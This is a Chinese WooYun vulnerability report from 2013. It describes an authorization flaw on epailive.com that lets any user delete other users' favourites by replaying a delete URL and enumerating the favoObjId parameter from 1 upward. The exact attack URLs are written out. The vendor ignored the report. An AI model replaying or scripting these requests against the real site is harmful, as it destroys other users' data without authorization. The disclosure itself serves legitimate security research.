漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-023763
漏洞标题：易拍全球删除所有用户收藏的方法
相关厂商：epailive.com
漏洞作者： 小川
提交时间：2013-06-07 11:13
修复时间：2013-06-12 11:13
公开时间：2013-06-12 11:13
漏洞类型：设计缺陷/逻辑错误
危害等级：低
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-06-07： 细节已通知厂商并且等待厂商处理中
2013-06-12： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
其实就是个越权+遍历啦
详细说明：
首先注册两个账户USERA，USERB
首先登录USERA，随便收藏个商品
如下图：
然后我们截获一下，删除收藏的请求
我们看到删除的请求为
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=23342
不要把请求发送过去，记录下这个favoObjId值为23342
刷新下页面，确保没有删除这个收藏，然后USERA可以退出了。
然后USERB登场，在浏览器上敲一下这个请求
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=23342
好他的任务完成了，退出吧。
然后USERA再登场，查看下我的收藏。收藏品没了，大功告成！
以上是证明了可以越权删除他人的收藏，每个用户收藏一个商品favoObjId就会加1.那么好吧，我们遍历一下：
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=1
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=2
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=3
.
.
.
.
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=23342
当然我是孩子，从不淘气......
漏洞证明：
修复方案：
删除的收藏，准是当前用户的收藏品吗?亲？求礼品，求古董
版权声明：转载请注明来源 小川@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2013-06-12 11:13
厂商回复：
最新状态：
暂无